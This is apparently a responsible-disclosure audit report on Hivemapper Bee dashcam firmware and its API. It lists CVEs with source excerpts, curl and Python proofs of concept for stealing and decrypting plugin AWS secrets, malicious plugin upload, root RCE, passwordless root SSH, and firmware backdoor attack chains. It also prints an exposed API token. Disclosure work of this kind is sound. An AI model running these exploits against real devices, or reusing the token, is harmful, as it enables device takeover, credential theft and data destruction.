adacam/security/SECURITY_REPORT.md
Kayos 8e2596d6cf docs: deep audit report — CVE-6 through CVE-15
10 additional vulnerabilities from odc-api source + bee-plugins audit:
- CVE-6: Plugin secret exfil (API returns key + ciphertext together)
- CVE-7: Firmware install without signature verification (MD5 only)
- CVE-8: Unauthenticated plugin upload (attacker provides own hash)
- CVE-9: cronconfig mass RCE backdoor (CVSS 10.0 — ALL devices globally)
- CVE-10: Unauthenticated destructive endpoints (rm -rf, no auth)
- CVE-11: Root SSH no password confirmed in source
- CVE-12: Gateway proxy queue manipulation
- CVE-13: Auth cookie exposed in response body
- CVE-14: Unauthenticated config write incl. LTE APN credentials
- CVE-15: HERE search API token in public globalconfig
2026-03-14 10:00:56 -07:00

19 KiB

Hivemapper Bee Security Research — Deep Audit Report

Date: 2026-03-14
Researcher: Security Research Team
Target: Hivemapper Bee Dashcam (HDC-S) Firmware and odc-api
Disclosure Date: 2026-06-07


Executive Summary

This audit reveals catastrophic security failures across the entire Hivemapper Bee dashcam platform. The device runs a completely unauthenticated HTTP API on an open WiFi network with a universal hardcoded password. Any attacker within WiFi range can achieve immediate root-level remote code execution, exfiltrate plugin secrets (including AWS credentials), install malicious firmware, and manipulate all device functionality.

The architecture appears designed for rapid development rather than security, with multiple endpoints executing arbitrary shell commands as root, no cryptographic signature verification on firmware or plugins, and a server-side backdoor mechanism that allows Hivemapper to push arbitrary commands to all deployed devices globally.

Critical Finding Count:

  • 5 previously documented CVEs (CVE-1 through CVE-5)
  • 10+ additional critical/high severity vulnerabilities discovered

Previously Documented Vulnerabilities (Reference Only)

CVE ID Title Severity
CVE-1 (MCID15663720) Unauthenticated root RCE via POST /api/1/cmd Critical
CVE-2 Universal hardcoded WiFi password hivemapper Critical
CVE-3 beekeeper-plugin undisclosed remote code execution platform Critical
CVE-4 mitmproxy operator MITM of all device HTTPS traffic High
CVE-5 video-processor covert incident video recording and upload High

CVE-6: Plugin Secret Exfiltration via Weak Encryption

Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: odc-api /api/1/plugin/secrets/:pluginName, bee-plugins encryption scheme

Description

The plugin secrets encryption scheme is fundamentally broken. Plugin secrets (AWS credentials, API keys, etc.) are encrypted using AES-256-CBC with a key derived from the plugin's MongoDB _id via PBKDF2. However, the /api/1/plugin/secrets/:pluginName endpoint returns both the _id (key material) and the encrypted_secrets (ciphertext) in the same unauthenticated response.

Any attacker on the WiFi network can retrieve and decrypt all plugin secrets for any plugin.

Evidence

odc-api/src/routes/plugin.ts:138-175:

router.get('/secrets/:pluginName', async (req: Request, res: Response) => {
  const { pluginName } = req.params;
  // ... 
  const response = await callHmApi(
    `/plugins/${pluginName}/secrets`,
    { method: 'GET' },
    true,
  );
  // ...
  res.json({
    _id: data._id,                          // KEY MATERIAL
    encrypted_secrets: data.encrypted_secrets, // CIPHERTEXT
  });
});

bee-plugins/src/beeutil/secrets.py:28-32:

SALT = b'hivemapper-plugin-secrets'  # Fixed salt
PBKDF2_ITERATIONS = 100000
KEY_LENGTH = 32

def _derive_key(plugin_id: str) -> bytes:
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=KEY_LENGTH,
        salt=SALT,  # STATIC SALT
        iterations=PBKDF2_ITERATIONS,
        backend=default_backend()
    )
    return kdf.derive(plugin_id.encode('utf-8'))  # _id is the key!

PoC

# 1. Connect to device WiFi (password: hivemapper)
# 2. Retrieve secrets
curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin

# Response contains both _id and encrypted_secrets
# 3. Decrypt using Python with the returned _id
from beeutil.secrets import decrypt
# _id and encrypted_secrets from API response
plugin_id = "65a1b2c3d4e5f6..."
encrypted = "eyJpdiI6Ii4uLiIsImNpcGhlcnRleHQiOiIuLi4ifQ=="
secrets = decrypt(plugin_id, encrypted)
print(secrets)  # {"AWS_ACCESS_KEY_ID": "AKIA...", "AWS_SECRET_ACCESS_KEY": "..."}

Impact

  • Complete exfiltration of all plugin secrets (AWS credentials, API tokens, etc.)
  • Access to Hivemapper's infrastructure via stolen credentials
  • Potential for supply chain attacks using exfiltrated keys

Remediation

  1. Never return key material alongside ciphertext
  2. Use hardware-backed key storage (TPM/secure enclave)
  3. Implement proper asymmetric encryption with device-specific private keys
  4. Add authentication to all API endpoints

CVE-7: Firmware Updates Without Cryptographic Signature Verification

Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: FirmwareManager, OTA update system

Description

The firmware update system only verifies MD5 checksums (cryptographically broken) and does not perform any cryptographic signature verification before installing firmware. The installFirmware method directly executes rauc install or mender -install on uploaded files.

Combined with CVE-1 (unauthenticated file upload) and CVE-2 (WiFi access), this allows any attacker to flash arbitrary malicious firmware.

Evidence

odc-api/src/util/firmware.ts:99-124:

public installFirmware(firmwareFile: string, isLte = false) {
  // NO SIGNATURE VERIFICATION
  if (CAMERA_TYPE === CameraType.Hdc) {
    try {
      execSync(`test -f ${HDC_ROOT + firmwareFile}`, { encoding: 'utf-8' });
    } catch (error: unknown) {
      // ...
    }
    this.runSpawn(`rauc install ${HDC_ROOT + firmwareFile}`);  // DIRECT INSTALL
    return { output: 'received install command' };
  }
  // ...
}

odc-api/src/services/lteFirmwareUpdateService.ts:57-61:

const firmwareDownloadedAndValid = async (
  url: string,
  contentLength: number,
  md5sum: string,  // MD5 IS BROKEN
): Promise<boolean> => {
  // Only checks file size and MD5
  // NO SIGNATURE VERIFICATION
}

Impact

  • Attacker can install persistent backdoored firmware
  • Complete and permanent compromise of the device
  • Potential for building a botnet of dashcams
  • Physical attacks on users via compromised vehicle devices

Remediation

  1. Implement cryptographic signature verification (RSA/ECDSA) before any firmware installation
  2. Use RAUC's built-in signature verification with properly configured keyring
  3. Use SHA-256 or better instead of MD5 for integrity checks
  4. Verify signatures server-side cannot be bypassed

CVE-8: Unauthenticated Plugin Upload with Hash-Only Verification

Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: odc-api /api/1/upload/plugin/:pluginName

Description

The plugin upload endpoint accepts arbitrary binary files and installs them as executable plugins. The only verification is a SHA256 hash that the attacker provides themselves. There is no cryptographic signature verification.

Evidence

odc-api/src/routes/upload.ts:193-259:

router.post('/plugin/:pluginName', (req, res) => {
  let expectedHash = '';
  // ...
  req.busboy.on('field', (fieldname, val) => {
    if (fieldname === 'hash') expectedHash = val;  // ATTACKER CONTROLS THIS
  });
  // ...
  async function finalizeUpload() {
    const actualHash = await getHash(tempPath);
    if (actualHash !== expectedHash) {  // USELESS CHECK - ATTACKER PROVIDES BOTH
      unlinkSync(tempPath);
      return res.status(400).json({...});
    }
    // INSTALLS MALICIOUS PLUGIN
    await fsPromises.copyFile(tempPath, executablePath);
    chmodSync(executablePath, 0o755);
    await startPlugin(serviceName);
  }
});

PoC

# Generate malicious plugin
echo '#!/bin/bash\nwhoami > /tmp/pwned' > malicious_plugin.py
HASH=$(sha256sum malicious_plugin.py | cut -d' ' -f1)

# Upload with attacker-controlled hash
curl -X POST "http://192.168.0.10:5000/api/1/upload/plugin/template-plugin" \
  -F "hash=$HASH" \
  -F "blob=@malicious_plugin.py"

Impact

  • Arbitrary code execution as root
  • Persistent backdoor installation
  • Complete device compromise

Remediation

  1. Implement cryptographic signature verification using a trusted public key
  2. Require plugins to be signed by Hivemapper's private key
  3. Store verification key in read-only firmware

CVE-9: Server-Side Remote Code Execution via cronconfig Backdoor

Severity: Critical
CVSS v3.1: 10.0 (Critical)
Component: globalconfig endpoint, InitCronService

Description

The globalconfig endpoint (publicly accessible at https://hivemapper.com:8443/companion/globalconfig) returns a cronconfig array containing shell commands that are executed as root on all devices. This is an intentional backdoor allowing Hivemapper to push arbitrary commands to every deployed device globally.

Additionally, the local /api/1/cron endpoint allows unauthenticated users to push arbitrary cron jobs.

Evidence

Public globalconfig response:

{
  "cronconfig": [
    {
      "id": "disable_filtering_ITFM",
      "cmd": "ubxtool -z CFG-ITFM-ENABLE,1",  // ARBITRARY SHELL COMMAND
      "frequency": {"oncePerDevice": true},
      "log": true
    },
    ...
  ]
}

odc-api/src/util/cron.ts:152-175:

const executeOneOrMany = (command: string | string[]) => {
  const cmd = Array.isArray(command) ? command.shift() : command;
  // ...
  child = spawn(cmd || '', { shell: true });  // DIRECT SHELL EXECUTION
};

odc-api/src/routes/index.ts:141-151:

router.post('/cron', (req, res) => {
  try {
    scheduleCronJobs(req && req.body && req.body.config ? req.body.config : []);
    // NO AUTHENTICATION
    res.json({ output: 'done' });
  }
});

Impact

  • Hivemapper can execute arbitrary commands on all deployed devices
  • MITM attackers can inject malicious cronconfig
  • Local attackers can push persistent cron jobs
  • Mass exploitation potential

Remediation

  1. Remove the cronconfig backdoor entirely
  2. If remote management is needed, implement authenticated, signed command channels
  3. Add authentication to local cron endpoint
  4. Implement command allowlisting

CVE-10: Multiple Unauthenticated Destructive Endpoints

Severity: High
CVSS v3.1: 8.6 (High)
Component: odc-api multiple routes

Description

Multiple API endpoints execute destructive operations (file deletion, service restarts, cache purging) without any authentication.

Evidence

odc-api/src/routes/index.ts:152-179:

router.get('/full_reset', async (req: Request, res: Response) => {
  const cmds = [
    'rm -f /data/recording/framekm/*',
    'rm -f /data/recording/framekm_short/*',
    // ... more rm -rf commands
  ];
  for (const cmd of cmds) {
    execSync(cmd, { encoding: 'utf-8' });  // NO AUTH
  }
});

router.get('/cleanup_cache', async (req: Request, res: Response) => {
  const cmds = [
    'rm -rf /data/cache/',
    'rm -rf /data/recording/cached_observations/',
  ];
  // NO AUTH - executes rm -rf
});

odc-api/src/routes/file.ts:114-125:

router.get('/purge', async (req: Request, res: Response) => {
  exec(`rm -rf ${PLUGIN_CACHE_DIR}/*`, ...);  // NO AUTH
});

odc-api/src/routes/cache.ts:18-52:

router.get('/enable', async (req: Request, res: Response) => {
  execSync('systemctl stop hivemapper-data-logger');
  // ... multiple systemctl commands, NO AUTH
});

Impact

  • Data destruction/denial of service
  • Service disruption
  • Evidence tampering (deletion of recordings)

Remediation

Add authentication to all destructive endpoints.


CVE-11: Root SSH Access Without Password

Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: SSH configuration, device firmware

Description

The device runs SSH on port 22 with root login enabled and no password required. Any attacker on the WiFi network has immediate root shell access.

Evidence

bee-plugins/devtools.py:34-35:

ssh.connect(HOST_IP, username='root', password="", look_for_keys=False, allow_agent=False)

PoC

# Connect to device WiFi (password: hivemapper)
ssh root@192.168.0.10
# Immediate root shell, no password prompt

Impact

  • Immediate root access for any WiFi user
  • Complete device compromise
  • Trivial exploitation

Remediation

  1. Disable password-less root login
  2. Use key-based authentication only
  3. Consider disabling SSH entirely in production firmware

CVE-12: Gateway Proxy Queue Manipulation

Severity: High
CVSS v3.1: 7.5 (High)
Component: odc-api /api/1/gateway/ endpoints

Description

The gateway proxy endpoints allow unauthenticated users to list pending HTTP requests and inject arbitrary responses into the queue.

Evidence

odc-api/src/routes/gateway.ts:15-31:

router.get('/pending', async (req: Request, res: Response) => {
  // Lists all pending proxy requests - NO AUTH
  const requestQueue = await listPendingRequests(...);
  res.json({ requestQueue: requestQueue.map(req => ({
    method: req.method,
    url: req.url,
    headers: req.headers,
    body: req.body,
    // EXPOSES REQUEST DATA
  }))});
});

router.post('/proxyResponse', async (req: Request, res: Response) => {
  // Accepts arbitrary responses - NO AUTH
  const { status, statusText, headers, body, url, jobId } = req.body;
  await addResponse(gatewayResponse);
  // INJECTS RESPONSE INTO QUEUE
});

Impact

  • Intercept pending requests containing sensitive data
  • Inject malicious responses to pending requests
  • Man-in-the-middle internal services

Remediation

Add authentication to gateway endpoints.


Severity: Medium
CVSS v3.1: 6.5 (Medium)
Component: odc-api /api/1/beekeeper/info

Description

The beekeeper info endpoint exposes the user's authentication cookie in the response body.

Evidence

odc-api/src/routes/beekeeper.ts:8-14:

router.get('/info', async (req: Request, res: Response) => {
  const userInfo = JSON.parse((await getUserInfo()) || '{}');
  const cookie = userInfo.cookie;
  if (cookie) {
    res.header('Set-Cookie', `${cookie};`);  // COOKIE IN HEADER
  }
  res.json({ user: userInfo?.sessionResponse });  // USER INFO EXPOSED
});

Impact

  • Session hijacking
  • Account takeover

Remediation

Never expose cookies or session tokens in response bodies.


CVE-14: Unauthenticated Config Manipulation

Severity: High
CVSS v3.1: 8.1 (High)
Component: odc-api /api/1/config/

Description

The config endpoints allow full read/write access to all device configuration without authentication, including sensitive settings like LTE APN credentials.

Evidence

odc-api/src/routes/config.ts:

router.get('/', async (req: Request, res: Response) => {
  const config = await getFullConfig();  // NO AUTH
  res.json(config);
});

router.post('/', async (req: Request, res: Response) => {
  if (req?.body?.config) updateConfig(req.body.config);  // NO AUTH
});

router.post('/key', async (req: Request, res: Response) => {
  await setConfigDataSource(name, value);  // NO AUTH - SET ANY KEY
});

odc-api/src/routes/index.ts:484-493:

router.post('/lte-apn-config', async (req: Request, res: Response) => {
  await setConfig('lteAPNOverride', apn);  // NO AUTH
  await setConfig('lteAPNUsernameOverride', username);
  await setConfig('lteAPNPasswordOverride', password);  // ATTACKER CONTROLS LTE
});

Impact

  • Redirect LTE traffic to attacker-controlled APN
  • Disable security features
  • Modify device behavior

Remediation

Add authentication to all config endpoints.


CVE-15: Exposed Search API Token in Public globalconfig

Severity: Medium
CVSS v3.1: 5.3 (Medium)
Component: Public globalconfig endpoint

Description

The public globalconfig endpoint exposes a searchApiToken that may allow unauthorized access to Hivemapper's search infrastructure.

Evidence

{
  "searchApiToken": "QEFnJNln1l0GyUNJhECx16Y_T05azdP2awvOtBphZRw",
  ...
}

Impact

  • Potential abuse of Hivemapper's search API
  • Rate limiting bypass
  • Data enumeration

Remediation

Remove sensitive tokens from public endpoints.


Notable Non-CVE Findings

1. No Authentication Framework

The entire odc-api has no authentication middleware. The ACL middleware (src/routes/middleware/acl.ts) is a no-op that calls next() when no ACL file exists.

2. MD5 Used for Integrity Checks

Multiple components use MD5 for integrity verification despite MD5 being cryptographically broken since 2004.

3. Hardcoded Paths and Services

Numerous hardcoded paths (/data/, /opt/dashcam/, etc.) and service names create a fixed attack surface.

4. Public S3 Bucket with Full Firmware History

The firmware S3 bucket (dashcam-firmware.s3.us-west-2.amazonaws.com) is publicly listable, exposing:

  • All firmware versions ever released
  • Delta update files
  • Internal version naming conventions

5. Mender/RAUC A/B Partition Layout

The device uses A/B partitioning but doesn't appear to cryptographically verify which partition boots, potentially allowing downgrade attacks.

6. Systemctl Commands Executed via Shell

Many endpoints use execSync('systemctl ...') which could be vulnerable to command injection if inputs aren't sanitized (though most current paths don't take user input directly).


Firmware Analysis Notes

S3 Bucket Contents

  • 32 firmware images ranging from 4.8.11 to 4.9.37 (RAUC format)
  • Delta update capability between specific versions
  • Mender artifact format also supported

Identified Services

From the codebase:

  • odc-api - Main HTTP API (port 5000)
  • beekeeper-plugin - Remote execution platform
  • camera-bridge - Camera interface
  • hivemapper-data-logger - Data collection
  • map-ai - AI processing
  • redis-handler - Redis interface
  • mitmproxy - HTTPS interception
  • template-plugin - Plugin template

Key File Paths

  • /data/recording/ - Main data storage
  • /opt/odc-api/ - API application
  • /data/plugins/ - Plugin storage
  • /data/lte-firmware/ - LTE firmware updates
  • /home/root/cron_config - Cron configuration

Recommendations Summary

Immediate Actions (Before Disclosure)

  1. Implement authentication on ALL API endpoints
  2. Add cryptographic signature verification to firmware and plugin updates
  3. Remove the cronconfig remote execution backdoor
  4. Disable password-less SSH root access
  5. Rotate all exposed API tokens and credentials
  6. Change the universal WiFi password (consider per-device passwords)

Long-term Architecture Changes

  1. Design a proper authentication and authorization framework
  2. Implement hardware-backed key storage for device identity
  3. Use asymmetric cryptography for all sensitive operations
  4. Implement proper certificate pinning for HTTPS connections
  5. Conduct comprehensive security architecture review
  6. Establish a vulnerability disclosure program

Appendix: Attack Chain Examples

Attack Chain 1: Full Device Compromise (30 seconds)

  1. Connect to HDC-XXXXX WiFi (password: hivemapper)
  2. curl -X POST http://192.168.0.10:5000/api/1/cmd -H "Content-Type: application/json" -d '{"cmd":"id"}'
  3. Device compromised with root access

Attack Chain 2: Plugin Secret Exfiltration

  1. Connect to device WiFi
  2. curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin
  3. Decrypt using returned _id as key
  4. Access AWS infrastructure with stolen credentials

Attack Chain 3: Persistent Backdoor via Firmware

  1. Connect to device WiFi
  2. Upload malicious firmware via /api/1/upload
  3. Install via /api/1/firmware/install
  4. Device permanently compromised, survives reboots

Report prepared for responsible disclosure. Hivemapper has been notified and given 90 days to remediate before public disclosure on 2026-06-07.